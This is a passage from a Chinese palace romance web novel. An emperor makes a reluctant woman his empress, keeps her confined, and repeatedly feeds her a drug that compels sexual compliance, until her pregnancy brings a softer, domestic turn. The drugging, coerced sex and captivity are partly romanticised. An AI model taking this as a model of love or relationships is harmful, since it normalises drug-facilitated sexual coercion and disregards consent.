“好、好。”云窈急得拉他,上下起手,齐拂己却按住她,“说好了,一言为定?” “好,一言为定。”云窈在他肩头和脖颈乱啃,“我给夫君绣一百个香囊。” 齐拂己大笑,他终于在火热的求欢中彻底麻痹,认定她已被自己征服。她终于和他一样,为对方悸动,如痴如狂。 “琴琴、你真好。” “夫君也好,也好……” …… 一场欢愉,结束后即刻变为死寂。 齐拂己瞧着背对的人,光是后背就有许多红痕——他失控,下手重了。 他披衣起身,拿了些药要给她上。一触碰,云窈就警觉扭头,齐拂己低头道:“别动,上上药,不然明早疼的。” 云窈哽咽了下,他只有上药,没有道歉。她看他龙袍就穿了袖子未系,大敞的胸前全是她指尖挠的印子,还有齿痕,其实他也应该上药,但她一声不吭,只躺着闭眼,任由齐拂己服侍,又好似睡去。 待卯时,齐拂己如常上朝。 番邦的使节今日离开京城,除却纳贡,还留下许多歌颂君王的诗篇;南北的稻田今年皆是大丰收,天下太平。 齐拂己坐在龙椅上听谀词如潮,兴味索然,他食指轻叩了下扶手,突然出声打断:“朕决定立后。” 殿内忽从喧哗变为鸦雀无声。 齐拂己不紧不慢,面不改色颁下圣旨,当然是立云窈了,他喜欢的女人,就要把天下女子最尊贵的位置捧到她面前。 第60章 第六十章 带软枷 众臣听完,有的垂首观地,有的互递眼色,各有数十位大臣先后出列反对,要说支持的,仅零星几位武将。 齐拂己旋即朝着那些武将所伫方位颔首:“既然诸爱卿皆无异议,就将立后的日子定在下月初一。” 百官哗然。 刚才已经出列的一位谏官再次反对:“陛下,臣听闻此女出身商户,从前还曾许过人家,不知是否淑性茂质,能担坤德?陛下不若择选贵女……” “商户女不好吗?”齐拂己漠然打断,“她族中无人,可免外戚骄恣,是皇后的不二人选。” 谏官没想到皇帝会安上外戚弄权的帽子,哪敢再提贵女,闭口不言。 丞相斟酌再三,出列:“陛下立后是大喜事,只今已廿七,下月初一仅余四日,是否太过仓促?要不要往后再择良日,也多些准备?” “朕已差钦天监看过,下月初一乃往后数年内最好的黄道吉日,不容错过。”齐拂己明明没差钦天监看过却睁眼说瞎话,面不改色。 他只想早点让云窈当上皇后。 之后群臣再有异议,皆被他逐一压下。定好立后事宜就散了朝。 午膳后,齐拂己一直再御书房批改奏折,直到天黑,竟收到不少劝他立后以后,广开后宫的折子。 齐拂己一连看了五本,上奏的朝臣早晨在朝上都没开过口,齐拂己勾了下唇角,传令要看这五人族谱。 来递册子的是小吉,齐拂己翻了翻,这五人族中皆有适龄待嫁女子,不由笑着将册子拍到一边:“原来是别有用心。” 小吉瞅了眼族谱,赔笑道:“陛下乃真龙天子,天下女子当然趋之若鹜。” 大安急忙肘拐小吉——别乱说!他最近都没皇帝跟前伺候,不懂现在是哪壶不开提哪壶。 小吉茫然回大安一眼。 “哦?”齐拂己反问。 小吉回身,朝齐拂己拱手:“陛下就是单论长相才学,也颇得女子倾慕。” 良久,齐拂己冷冷长笑一声。 这下终于把小吉唬住,反应过来拍到了马屁股上,大安则给小吉使眼色,他说什么来着。二仆眼神对话,齐拂己则缓缓起身,开柜取一瓶夜夜娇,又拿出云窈上回逃跑前丢下的,绣了一半的香囊,而后便回寝殿。 月已高升,月光洒在地上与他手中的玉瓶同色,其实他也不是夜夜贪欢之人,可还是每夜取一瓶药,就好像早朝一样,成了例行公事,但早朝心无波澜,用夜夜娇之前和清醒后却是又痛又麻,寝殿里比月宫还冷,结了冰,冻成霜。 “陛下。”速喜等在回寝殿的必经之路上。 齐拂己没有改变步子快慢,仍往前行,速喜快走数步主动凑近齐拂己,而后跟着皇帝走,告知这几日步仙镝一直在京城寻找云窈,还修书去了云中。皇帝的立后诏书在今晨传出禁宫,一日之间传遍京中,步仙镝在夜里听闻,策马朝禁宫快奔,路上马跃过好几个摊位,还掀翻了两个挑子,等到了宫门口却又止住,然后勒着缰绳在宫门前徘徊了将近半个时辰,调头缓慢离去。 齐拂己平静的脸色闪现一丝轻蔑,倘若步仙镝真闯入宫对峙,他还能高看步仙镝两分。 齐拂己屏退速喜,继续往寝殿走,推开门,再反手带上。 瞬间处在只有他和云窈的二人天地。 齐拂己深深吸了口殿内空气,微勾唇角,泛着愉悦。 当然他的目光时刻没有从云窈脸上挪开——她先瞥一眼他手中禁药,毫不犹豫脸上憎恶,接着扫见香囊,眉头蹙得更紧。 她面上的一缕疑惑触怒齐拂己,她怎能遗忘! 他脚下的步子不由自主加快,将香囊塞进云窈手里:“你昨晚答应朕绣完它。” 云窈怔了下,俄顷反应是什么时候答应了,愤恨将香囊砸回齐拂己身上,像蚊子在他胸前叮一口,而后掉落。 齐拂己笑着弯腰,捡起香囊,她愿意因为他发这么大火,说明还是看重他的。 他故意告诉她:“朕已经昭告天下,立你为皇后,册封大殿四日后举行。” 云窈一呆,不敢相信自己的耳朵,她怎么可以做皇后啊? 受家国教诲,第一反应竟然是自责忐忑,难当大任。下一刹意识到不对劲,呵斥齐拂己:“你又发什么疯?” 齐拂己唇角翘高——她更气了,说明他在她心里的份量更重。 “朕想和你共享江山。”怎么能算发疯呢? 他笑,起身拔塞开始饮夜夜娇,这东西喝习惯了,和酒一样既甘甜又辛辣,一闷就是一大口,他手顿了下,忽然想,夜夜娇会不会和酒一样上瘾呢? 齐拂己的心倏地麻了下,而后扣住云窈的手腕,将她拉来怀中,给她灌药。 云窈挣扎痛斥:“混蛋,恶心!” 齐拂己点头:“我恶心,我死无葬身之地。” 他竟顺着她说,还有什么词?尽管骂来。 她随便骂,他早习惯,她哪天不骂才不正常。 但听归听,他不会放过她的,他要和她一起皮朽毛臭,烂在沼泽里。 搂着抱着一起往下陷,谁也挣脱不了涡旋。 最后一起烂透。 他发现云窈现在掐着云窈往里哺喂时,她再也不哭了,或者懒得在他面前演楚楚可怜,她就冷冰冰、恶狠狠地盯着他,倘若眼神如刀,早将他千刀万剐。 还是要杀他,也好啊,死亡也是爱。 齐拂己指尖用力,迫她再抬高点,脸几与他的相贴,他的视线在她两眼间来回,说话时,气息挠过她的颊面:“你知道吗?那会所有人都唤朕世子,只有你喊大公子。” 她待他是不同的。 “陛下!”云窈坚定呼唤。 齐拂己被气得笑出一声,继而旋高唇角,缠缠绵绵:“妹妹。” 他再不想和她说任何话,说什么都没用,封住她的唇就要渡药,却发现自己不受控起了反应,脑子里也即刻浮现欢快事。 全是欢快,塞满脑子里,挤出了旁的一切,且停不下来。 齐拂己不由怔忪。 云窈心里想的是要极力反抗,咬他的唇,动作却似乎不受脑子控制,齿未动,反到是舌先探出去,主动讨好他。 她也一怔。 双方都即刻明白,连续服食禁药让他俩更加敏感,身子会不受控被对方吸引,做主讨好的靡靡举动。 云窈恼怒,捶他一下,却指尖不自觉牵他衣襟,将他拉近。 齐拂己顺势将她再搂紧,目光变得幽沉深邃。 少顷,他仰头再饮一口夜夜娇,再喂云窈,这回她不再抵触,反而仰头迎合,似乎也极渴这东西。齐拂己心里抽疼,却一口又一口,不停歇的自饮哺喂,就让他俩对酌,将这一瓶醉生梦死的“酒”饮尽。 情到深处,齐拂己片刻清醒,挣扎着往床外倾身,要去捡地上的东西。云窈立马用腿锁住:“别走——” 她夫君陛下的乱喊,求他不要离开她。 齐拂己一手抚慰,另一手拨龙袍,扒玉带,终于找出那只未完工的香囊,塞给云窈:“帮我绣。” 云窈依从着收下,眼神中没有丝毫抵触,又嘴甜地说要帮他绣一百个,还坐起身,又似无骨倚在他肩头,朝他耳朵里吹起,说叫他某夜只戴香囊在腰间,而后…… 激得齐拂己神魂俱荡。 他真的疼痛又爽利,可以欺骗自己满足了所有渴求。 一夜复一夜,这夜几乎快到卯时才歇。 他一面穿衣,一面柔声告诉背对的云窈:“朕去上朝了。” 云窈没说话,睡意全无,其实齐拂己每次哪怕服了药,仍不会下特别重的手,她身上只有酸,没有疼,疼的是心。 云窈抱臂放空,脑子里白茫茫下雪,下了半个多时辰,天地银装素裹,齐拂己也早离开,天都亮了。她睹着光亮,甚至能瞥见飘动的幔帐,却不愿转身。她突然忆起第一次和齐拂己说话,他谦和又温柔的在她面前救下一只鹦鹉,那时她只看到他的善心,但现在才意识到,那是一只试图从公主的金笼逃走的鹦鹉,他将鹦鹉“救”回金笼。 而那只鹦鹉之所以受伤,是在笼中待得太久,翅膀退化,出逃振翅已飞不起来。 云窈缓缓转过身,还躺在床上,看幔帐飞舞,见昨夜燃尽的宫灯,一圈沿上全是烛灰。 正殿内,齐拂己已经上了一会朝了。 连续数日昼夜不眠且服食禁药,终于影响到他的身体,眼皮上下打架,坐在龙椅上晃了晃身。 在齐拂己眼里,启奏的工部侍郎成了重影,侍郎嘴唇张合,却听不见声。 他完全不知道工部启奏何事,亦无法应对。 这样不行,不能做昏君。 他绝不能因为儿女情长影响国祚,那样愧对天下子民。 齐拂己脑子里清醒的告诫、警醒自己,心却在叫嚣:不,就这样下去,要夜夜如此,要将她操烂!他自己也烂掉,只有在这种分不清施虐还是自虐的折磨中,他才能求有所得。 如果她说喜欢他,那一定是在服了药后。离了夜夜娇,他永远找不到让她快乐的路。 齐拂己两手攥紧扶手,重提起精神,直背睁大眼,与诸臣议政。 60-63 第61章 第六十一章 死局 诸臣皆未觉出异样,齐拂己处理完政务,如常退朝。 他回御书房,私下再同几位大臣议政,而后便是批改奏折,按部就班,午膳方歇。 内侍们正布菜,齐拂己坐在桌边,突然呼唤:“大安。” “臣在。” 齐拂己身子未动,背对大安吩咐:“她要是愿意,可将那婢女领去陪她用膳。” 大安旋即会意,是要领落玉去云窈那里,连忙应了是去领人,等他回来时齐拂己已用完膳,自坐到桌前批奏折。大安上前要研墨,齐拂己道:“你先吃吧。” “喏。”大安去用午膳,而后才来服侍。君臣无话,到了未酉之间,齐拂己突然停笔,轻唤“你先出去,朕睡会。” 他说着将胳膊从桌上挪下,起身往里间小卧榻上走,大安赶紧跑几步,赶在齐拂己之前铺好床,方才准备退去:“陛下案牍劳形累乏,好生歇息,微臣告退。” 齐拂己没有回应,等大安退出去,他自个躺在床上想:累吗? 他批奏折,处理朝政,与天下人周旋,的确是会累的,但在云窈面前从来都不觉累。 和她相处,满满皆是疼和麻,不是累。 怒骂也好,对抗也罢,在她面前,也只有面对她,他从来不需要撒谎,心里想什么就说什么,因为坦率,有种说不出来的舒畅。 就像眼下,虽然昼夜不眠,极度困乏,但人是放松的。 不像他面对旁人,虚与委蛇,冠冕堂皇,或者直接恃尊下令,那样的交往他觉得肤浅。 齐拂己打了个哈欠,睡会,睡会就好,又想云窈瞧见他打哈欠,会怎样反应。 他自顾自一笑。 闭上眼,小憩了一个时辰就起来继续批改奏折,一来还有许多公务未处理,二来一个人睡久了没什么意思,要知道,在云窈逃离京城的那段日子里,他实在是太无聊了。 太阳西斜,在天边染一抹云霞后就彻底消逝不见。 大安悄然掌灯。 火苗跃动,齐拂己还剩半摞奏折就能全部批改完。 * 午时半,寝殿门开一缝,云窈以为是送餐的,往门口眺了一眼,见是落玉提食盒,不由欣喜。 但她面上好像不会笑了。 落玉却一如既往话多,问东问西,吃饭时话也不断,云窈笑着回应,但等吃完没一会,她实在撑不住,抚着落玉的手道:“我睡会。” 她好久没睡着了,身体困乏。 落玉旋即去看云窈眼周,的确有圈淡黑,方才进门还不觉得,现在担心起来,越看越觉得云窈气色不驾:“小姐那你快睡会吧,我守着你。” 云窈点头,等的就是这句话。 有落玉在身边她能睡得安心些,因为齐拂己一来落玉肯定得走,有响动,她就能即刻醒来。 云窈躺下。 “小姐,睡吧。”落玉帮着掖了下被子,发现云窈已经睡着了。 …… 云窈料想的没错,果然齐拂己夜里入殿时,落玉不仅站起挡住,还反手推了她两下。 云窈醒了,睁眼闭眼挣扎,知道齐拂己来了,身子竟不能像从前那样一个激灵坐起,要再挣扎会,甚至翻了个身,才手撑着坐起。 落玉则同齐拂己对了一眼,晓得自己不得不离开。她不想称呼云窈娘娘,可是喊小姐皇帝肯定会生气,于是落玉同云窈使眼色道:“那我走了。” 云窈极缓慢地点了下脑袋。 落玉照正常走,会与齐拂己擦身,但不知为什么,在离他还有几步路时,她突然心里怕了下,不由自主屈膝行礼,而后埋首绕行。 殿门一关上,齐拂己就钳云窈下巴要喂药,她轻笑一声——他就这么迫不及待。 齐拂己脸色稍僵,但还是不管不顾含一口药,封住云窈双唇,他以为渡酒时云窈会反抗,她睁圆的眼睛也的确恨极了他,舌尖却情不自禁去勾缠他的唇舌,竟主动汲取夜夜娇,眸子也不由自主促起。 这是她身体的熟悉和渴望。 齐拂己也轻笑一声,这回换云窈面色僵硬。 他这回不先饮了,让云窈先喝一口,他俯身唇一贴上,她就哺喂给他。 齐拂己笑着搂住云窈,一起倒下去。 …… 今夜结束得较早,云窈照例背身冷对。 良久,他抬手扒了她一下。 云窈没反应。 齐拂己掌心就贴上她的背,不再移开。 云窈终于忍不住打他手,齐拂己却顺势将她扒动,从背对变成面对。 云窈气得想找东西砸他,手头没有它物,只能拿被子,哪知指尖一碰到齐拂己,就不受控将他搂住,腿亦缠绕。 齐拂己亦是一愣,继而哈哈大笑,也去搂她,收臂将她按在怀中。 算了吧,屈从欲念,他鼻尖碰了下云窈鼻尖,在心底默默央求。 云窈许是真被蛊惑,没再挣脱他的怀抱,一宿相拥着睡觉,之后两夜亦如是。 可到了立后那日,她却死活不肯穿凤袍戴风冠,甚至连梳妆打扮都不做,素面朝天,垂散一头青丝。 旁边宫人已经跪了一地,噤若寒蝉。 齐拂己定定凝视云窈,眼眸幽黑,启唇:“去。” “不去。”她旋即回他,看也不看,可镜子里还是有个他,和她一起挤在倒影里。 云窈侧身,将自己的影子从镜中剔除。 齐拂己抿唇看着她,再看周遭,包括落玉在内,所有宫人都跪着,大气不敢出。所有人都惧怕他,唯有她一个硬气。 此刻齐拂己对云窈竟不恨,反而是爱多增添些。 他俯瞰成片的乌黑发髻,真似蝼蚁,他完全可以像史书上记载的昏君,以宫人性命要挟云窈,她不愿出席册封盛典,拒绝一回,他就杀一宫人。 齐拂己闭眼,暗中吸口气,他不能那样昏聩。 于是呢,怎样才能让她答应出席?质问她“你想看朕被天下人耻笑吗”,还是央求“给朕一个面子”? 他都说不出口。 齐拂己转身离去:“皇后抱恙,封后大典照常举行。” 一句圣意前后矛盾,宫人们乃至云窈心里都烦迷糊,齐拂己却面不改色,他去了正殿,从容不迫完成封后大典,他听内侍宣读诏书,和空气对拜,心里居然还能松口气,终于,她是他的皇后了。 但云窈只有在服食了夜夜娇后,才承认此事。 他抓紧意乱情迷中那一点清醒,勒令她披上凤袍:“皇后,你是朕的皇后。” “是,陛下,臣妾是你的皇后。”云窈仰着脖,面色潮红回答,“臣妾是你的。” 他突然凤袍比起之前的赤忱相见,别有一番韵味。 …… 之后半年,齐拂己渐渐不再压抑自己的任何欲念,什么都会试试,痛苦和执念虽然无法消解,却在一日复一日的麻木中变淡。 而云窈,变得越来越容易动情,她清醒的时间越来越少,但一旦清醒,眼里就流淌憎恶和悲哀。 没关系,反正明里暗里,他都已经没有任何一丝期待。 齐拂己边想边俯下身,吻她的脖颈。 “你这么糟践我。”语气已经不自觉变成媚声,所以听在齐拂己耳中含含糊糊,他没听清。 “你这么糟践我。”云窈重复,身子不受控迎合齐拂己。 齐拂己配合着浮沉,过了会,还是抵住她肩膀,令二人停止动作。 “我也在糟践我自己。”他回话时甚至没有自称朕。 云窈瞬间红了眼,原来他知道啊,有够贱的。 可她的手仍不受控胡作非为,身子也想贴着他。 齐拂己猜到她在暗骂什么,他已承认自己够贱的事实,本来打算继续完成,却突然没了心情。 坚持浮沉数下,还是不行,他缓慢退出,搂着云窈躺下,她没有挣脱,反而自然而然把腿搭在他腿上。 等意识到自己做了什么,她面上可以说是五颜六色、十分精彩,又闪过一丝绝望和悲凉。 这哀婉的悲凉刺痛齐拂己,他深吸口气,徐徐回忆:“其实那年你刚来府里不久,在母后的寿宴上说喜欢我,我就留意到你了。我从前不觉得这世上有美景,渐渐的,却能瞧见美景,还想如果你也在就好了,想下回带你一道赏景;从前觉得这世间百味都差不多,没有什么好吃的,却从那时开始觉出美味,还想也带你尝尝;我好像看到什么、做什么都会想到你……” 说到这他自嘲一笑,其实从那个时候起,他就疯了。 “其实,我最大的愿望是你快乐,我愿意为你展颜做一切,满足你的愿望……”齐拂己垂眸又笑,这是不是就是君王博红颜一笑? 他重抬眸看向云窈,笑容却僵在脸上,因为云窈脸上没有任何感动,她的嘴唇张张合合,说的话清晰冰冷打进他心里。她说:“如果陛下想让我快乐,那就放我离开。因为我的愿望就是离开陛下。” 良久,齐拂己挤出一句:“你是皇后,这辈子朕都不会允你离开朕。” 云窈轻蔑一笑,面上潮红已尽散,说什么愿望是为了她快乐,他最大的愿望明明是为了满足他自己! 齐拂己睹着她脸上神色,面沉如水,手上却把她抱紧,紧紧的,不分开。连帐幔压在二人当中都不允,抽出纱帐,狠狠甩到身后。 之后,帝后依旧夜夜同眠。白日里齐拂己有朝政,不得不和云窈分开,他会允许她在宫中走动,但每回身后都会跟随一大宫人,且不能出宫。 这一日,云窈在御花园闲逛,离池水稍近些,立马有宫人挡在她前面:“娘娘小心。” 落玉旋即要瞪那宫人:怎么着,是怕她家小姐跃过栏杆跳湖? 云窈按住落玉手肘,不要责怪宫人,她们不过是奉了齐拂己的旨意——他不允她离开他,连死也不行。 其实投湖又怎么样?这附近还有许多瞧不见的,监视她的暗卫,会即刻将她救上岸。 云窈百无聊赖,朝着御池相反方向行去,远处竟能眺见三、四大臣,皆着紫袍,边走边说着话。云窈原本已经移走的视线重挪回来,定在当中一人身上。 她撩起眼皮,没想到还会遇到他。 第62章 第六十二章 天意 他跟从前一样矮,没蹿个,但蓄了须,显得更成熟些。 他从前叫铁头,现在穿上紫袍,肯定不叫了。 想到没准齐拂己给他赐姓,云窈就忍不住勾了下唇角,讥笑。 一想到就铁头卖主求荣,将她打晕,她还重新被齐拂己粘上,成这般人不人鬼不鬼的模样,她就生恨。 云窈想走,刚侧身那几朝臣就上前行礼:“微臣参见娘娘。” 云窈不愿当皇后,但面对这种诸臣在场,涉及国威的情形下,还是款款回礼,不失仪。她有时候恨自己这性子,大是大非面前太正,不愿闹,于是只有自己吃瘪。 但众臣告退,和铁头擦身时,她还是忍不住压低下巴:“你留一下。” 语气里隐隐透出恼意,不知怎地,最近几日天也不热,但她就是躁得慌,心气很不稳。 铁头旋即同余下几位大臣笑着拱手,告别,而后看向云窈,笑仍挂在脸上:“上回情急之下,对娘娘失礼,臣愿打愿罚,只是娘娘能消气。” 掀官袍就单膝跪下去。 云窈看着他的头顶,唇微张又闭,再张:“你还记得你家张公子了吗?” 他应该已经弄清楚张公子死因,那为何还投靠凶手,助纣为虐? 铁头晓得她在声讨什么,却在心头默答:我家公子要是不认识娘娘,哪里会惹杀身之祸,枉死都是因为娘娘。 铁头没有说出口,没必要为一时口舌之快,惹皇帝不高兴。 他轻缓答道:“良禽择木而栖。” 要放平时,云窈听见这句,气归气,断不会像现在这般激动,眼下不知怎么回事,气血不断上涌,竟眼冒金星,往后一栽。 落玉及时将她扶住:“快、快请御医!” 连铁头也伸手扶了一把,又倏地收回,蹙起眉头。落玉哪有心思顾忌铁头,和宫人一道将云窈扶回寝殿,又宣太医,悬丝诊脉。 她紧张得走来走去,待太医一收金丝线,就紧张问:“太医,怎么样?” * 齐拂己今日散朝后径直出宫。 前朝皇帝每年都邀一位大德行者来京讲法。连讲三日,届时上至天子,下到平民百姓,只要有心敬佛,皆可赴会听讲。 如今改朝换代,这一习俗依然不变,今年请的莲华寺觉明大师,水月寺玄苦大师与觉明是老友,亦有赴会。 已经讲了一日,齐拂己和从前的天子一样,在第二日驾临。 相国寺里竖立幢幡,供果仙花摆满三排。臻选出的大小明僧围绕觉明,玄苦则立在角落里,齐齐朝他施礼。齐拂己回以一礼,直起身时,玄苦正双手合十,凝望着他。水月寺的方丈寿星眉愈长了,一笑如佛拈花。 上回法会,他曾劝齐拂己一念嗔心起,八方障门开;一念慈心起,万朵莲花开。 炉焚檀降,香云霭霭,烟雾缭绕中齐拂己绷紧两颊,眸光深邃。 少顷,他盘膝坐下听讲法。 觉明开坛。 今日讲精进和执着,人生了执着,心就不自在,会被红尘和欲望牵着走。 法讲完,觉明首先望向齐拂己,微笑道:“陛下可有什么要问的?” 齐拂己沉默片刻,沉声:“并无。” 觉明点点头,齐拂己起身告辞,角落里的玄苦随后站起:“老衲送陛下一程。” 齐拂己颔首,就与玄苦一道走,众内侍跟随身后。 玄苦笑道:“许久没见陛下了。” 应该说,皇帝再没拜访过水月寺。 “方丈一切安好?”齐拂己反问。 远处,有信徒起身,询问觉明如何破执,觉明一一解答,玄苦聆听,没有及时回答齐拂己,齐拂己以为有难处,遂又道:“若有难处,可以直接报来宫中,告诉朕。” 玄苦一笑,佛门苦渡,并不需要求助,他听着远处觉明还在解答,突然问:“陛下知道怎么破执吗?” 齐拂己抿唇不语。 玄苦道:“破执就是放下,去除了分别心、得失心、执着心,人就不会偏执,扭曲。”他顿了顿,“求不得,爱不能,放不下,解脱不得,是最痛苦的。” 齐拂己旋即思及云窈,求而不得,怎生得厌?永远放不下。 还好他不入佛门。 “只有破执了,才会消除那些徒增的烦恼,水入海,沙汇漠,终得解脱。”玄苦还在说,“所谓无我相,无人相——” “那方丈不也执着于佛?”齐拂己终于打断。 玄苦一愣,我执和法执岂能一样? 正要辩经,有宫中禁卫驰骋而来,马未停就跳下,朝皇帝急奔,玄苦于是阖上唇。 “陛下。”禁卫单膝跪地,禀奏皇后晕倒,齐拂己即刻蹙眉,很早以前,在东宫那会就给她调过身子,不会再动不动晕厥。 他心一紧,顿时呼吸不畅,就好像失去她般:“那现下如何?” “太医已经瞧过了……” 听这半句时齐拂己还在想,信不过太医,他要亲自回去给她诊脉,脚往前迈一步,那禁卫道出大半句:“说是娘娘已经有了一个多月的身孕。” 齐拂己整个人定住,哪怕再疲乏的时候,也不曾似此刻,脑子一片空白。 过了会,他竟然同手同脚走了两步,而后跑起来。 “陛下、陛下!”身后全是呼喊。 他跑得那样快,一口气穿过相国寺,打马,在朱雀大街上驰骋,直冲进宫门,穿过垂拱殿、皇仪殿……无数红墙黄瓦在身两侧迅速后退,他心里胀得满满,他真的要和云窈拥有一个孩子了吗? 从今往后,是一个完整的家。 齐拂己到寝殿门口纵身下马,冲进寝殿,太医们听见响动,回身见是皇帝,陆陆续续跪倒一屋子:“臣等参见陛下。” 因着男女大妨,不仅悬丝诊脉,还架了一扇屏风,齐拂己绕到屏风后面,掀开帐子,云窈已经醒了,平躺在床上。 他口中尚在喘气,眼睛已经对上云窈的眼,手则探向她的手腕搭脉——真的是滑脉。 齐拂己的视线缓缓下移,看向云窈一点也不显的肚子,这里真的孕育了一个他和她的小生命吗? 在屏风内侧照看的女医向齐拂己道喜:“恭喜陛下,贺喜陛下,娘娘有喜了!” 一声出,百声呼,屏风内外的道贺声此起彼伏,不断在齐拂己耳边也在他脑中响起,一点也不觉聒噪,他甚至头回感受到这座寝殿的金碧辉煌。 这一晚,他第一回没有拿夜夜娇,空着两只手上榻。 他没有靠近云窈,隔着半臂距离躺下,云窈却主动粘上来,她刚抬手,他就手往下探将她抵住——不行。 云窈又动手,齐拂己果断把她手也桎梏住,云窈迷离着眼追他目光——难道他不想吗? 齐拂己喉头滑动下,用尽全部的克制力抑下要她冲动:“睡吧。” 今晚不碰她,以后也不行。 片刻,他叹了口气,手扶上云窈小腹:“这个孩子一直在这里,说明他很想,也注定该来这个世上。” 云窈被戳破心思,眨了两下眼。 “留下他,行吗?”他央求。 他忐忑地等待答案,因为怕她不答应,一颗心跳得既高又乱。 云窈转过身去背对。 她没有答应……齐拂己缓缓吁了口气,继而安慰自己她也没有反对,不是吗? 他心里又隐隐希冀起来。他能通过云窈的呼吸判断她是否熟睡,待吐纳均匀,再无波动,他蹑手蹑脚坐起,借着微弱的灯光,仔细端详她的脸,尤其眉眼。月有阴晴圆缺,不可能事事圆满,现在这样就很好。 他起身,睡不着了,去翻书看看妇人孕育、生产得注意些什么,忽然想到从前齐拂意屋里就是满柜子医书,手上一按,而后迅速压下,如今已无敌手,何必计较这些。他看说妇人孕期头几个月,都会害喜,吐得厉害,不由心紧,再往后读到妇人后期肚子大了,这种难产,手不自禁攥拳,指掐入掌心。 眼瞅着快到卯时,齐拂己整理衣冠上朝。 等下朝回寝殿,云窈才刚醒,仍躺床上,齐拂己快步走近,笑着牵起她的手:“书上说怀了孩子以后,是会贪睡些,”他轻摇云窈的手,“但是起来先吃早膳,好不好?” 云窈手撑着要坐起,齐拂己连忙扶她,她手顿了下,卸力,任由他搀扶。等坐到桌边用膳,菜品都是他精挑细选的,却仍紧张,怕她害死要吐。 云窈却如常进食,宫人内侍们进进出出搬东西,她禁不住下巴朝殿门口点了下:“这是做什么?” 云窈吃得太香了,齐拂己忍不住也夹了块糕,闻言放下筷子:“以后朕在寝殿批奏折。” 云窈错愕分唇,又生一分怒。 齐拂己抚她手背:“切莫动怒。” 云窈唇动了两下,他也晓得她会生气啊。 齐拂己就直直接住她的视线,不躲不挪,他怕她孕期出意外,必须尽可能多的陪伴她,守着护着。 “继续吃吧。”齐拂己说时指颤了下,很怕她会因为生气呕吐。 但之后两个月,云窈并未害喜,一次也没吐过,胃口也不错,就是见不得肥肉,她说那肉里有股作呕的气味。 她鼻子变得异常敏感,水里的、空气里,甚至帐子桌子,一个瓷碗,都能嗅出各自的味道。 落玉也有浅淡清香,唯有齐拂己是没有味道的。 有一回齐拂己批奏折时,她忍不住走近,鼻子动动,烛台的烟灰、砚台里的墨和朱砂,都各有各的味道,都十分清晰,连桌上之前摆过一碟糕点,现在撤去,擦了桌子,仍有油和茉莉香。 唯独嗅不到齐拂己的味道。 齐拂己抬头仰视云窈,会错了意,缓缓笑起来,灿若星辰。 他觉得此刻无比幸福。 云窈慢慢也反应过来,知道他会错了意,她转身瘪嘴:“早点歇息吧。” “好。”齐拂己很快搁笔,来陪云窈就寝。 二人隔着一段距离躺着,过了会,云窈觉得指尖有异动,余光缓慢瞥去,竟是齐拂己的指头跟蚂蚁似的,慢慢爬过来,将她小指勾住。 云窈没动,他就一直勾着。 她闭眼,睡觉! 睡沉了就忘了这事,但半夜醒来,竟即刻重想起,挪眼去瞥,他的食指仍与她的小指想扣。 云窈抿了抿唇,转过身去打量他的脸,这人睫毛真长,遮蔽许多,要仔细端详,才能确定眼皮闭着是真睡着。 就在云窈做判断的下一霎,齐拂己睁眼,吓她一大跳。 “怎么了?”他启唇问。 “我有点渴,去喝口水。”她谎话编得飞快。 “我去吧。”齐拂己说着起身,很快端来一杯水交给云窈,她一触碰瓷杯就发现是热的——其实很早就已留意到,他一般喝凉水,给她都倒热的。 云窈喝了两口,还他杯子:“谢谢。” 齐拂己面上一滞,手上接过杯子,放回桌上。背对云窈,边走边道:“不用和我说谢谢。” 夫妻之间不必客套,不然会显得生疏,但云窈许久没和他说谢谢,还是如此温柔的语气,他又觉得熨帖、高兴,连看窗外的月与星,都带了一层毛茸茸的柔光。 白驹过隙,两、三个月眨眼就过了。 云窈一次也没吐过,气色红润,胃口也好。太医诊完平安脉,禁不住同皇帝说些好听的话,说皇后之所以不害喜,是因为腹中的龙嗣顺应天意,福泽深厚,将来出生以后也会顺风顺水。 齐拂己想的却是这孩子受了祝福,恰恰验证他和云窈是天造地设的正缘,不禁龙颜大悦,一顺封赏,禁宫上下都得到丰厚的赏银。 他还准备等云窈诞下皇子或公主后,大赦天下。 他想起早上去同太后请安,女人有了孩子,就会真正定下心来。以前太后的话压根无法左右齐拂己,但今日这一句……他抬眼打量云窈,垂眼,再抬眼,希望这句是真的。 云窈用过饭后,想去御花园逛逛消食——眼下肚子依旧不显,但有时会觉得身子沉。 齐拂己旋即说要和她同去。 云窈瞟眼他,又扫桌上折子。 “今日没多少折子。”他说着也跟着扭头看,桌上真没多少。 他陪云窈一道去御花园,如今春又回大地,绿草如茵,坡并不高,且起伏平缓,云窈却突然搀了下,齐拂己急忙扶住,比自己跌跤还紧张。 云窈一只手紧紧抓着他胳膊,另一只手轻拍胸口,一副劫后余生的表情:“还好还好,没有跌跤。” 她小心翼翼抚上肚子,眼中的后怕和关切不似作假。 就是这一刻,齐拂己确信了太后的话——一个女人,一旦有了孩子,她就不会再离开。 这日,齐拂己将余下的夜夜娇全部倒掉销毁了。 第63章 第六十三章 破局 他甚至开始准备些小孩的物拾,奏折批得好好的,突然就问大安,尚衣那边备了多少婴儿包被? 大安躬身回报,自然备了足量。 齐拂己却让上呈过目,他亲自再从中精选,费了好一阵功夫,忙完,大安以为妥了,齐拂己却再吩咐:“把那些小衣裳虎头鞋,也都呈上来瞧瞧。” 那些他也要一样一样,全部亲手备好。 挑完了再选平安锁,手镯脚镯,所有婴孩用品,他都分男女各备一套。 这一日忙完很晚,大安以为消停了,齐拂己却仍不妥当,之后的日子里时不时就突然来一句关于孩子的,有时候是要替换包被,有时又想到什么新的玩具,连小床的栏杆他也一根一根从头到尾仔细摸过,怕不够温润,扎着刺着他和云窈的孩子。 他命人将小床抬进寝殿。 云窈瞥床,又低头瞅肚子,仍不算太显怀。齐拂己则在云窈不注意的时候,亲自在小床上铺上床单被褥,他把四面边都细细地叠,再用手捋平床单,心里一片祥和,暖意融融。 云窈留意到寝殿里还摆了一匹木马,她坐上去,轻轻摇晃一下,瞧见的齐拂己就急急过来。 “小心!”他不由分说扶住云窈。云窈回首,齐拂己讪道:“这是做给小孩子。” 怕承受不住她的重量。 又怕云窈误会他嫌弃她胖:“朕不是那个意思。” 云窈没有反驳更没有呛他,低低嗯了一声,齐拂己有些意外,继而爱极她方才低头应声的样子,拥入怀中。 她懂的,容颜会老身段会走样,但他并不在意这些。 齐拂己从后抱住云窈,将她脑袋抵在自己胸口,渐渐的,就变成他躬起背,蜷曲高大的身子,下巴在云窈肩膀上磨蹭,脸颊去贴他脸颊,哪像高高在上,威仪显赫的君王。 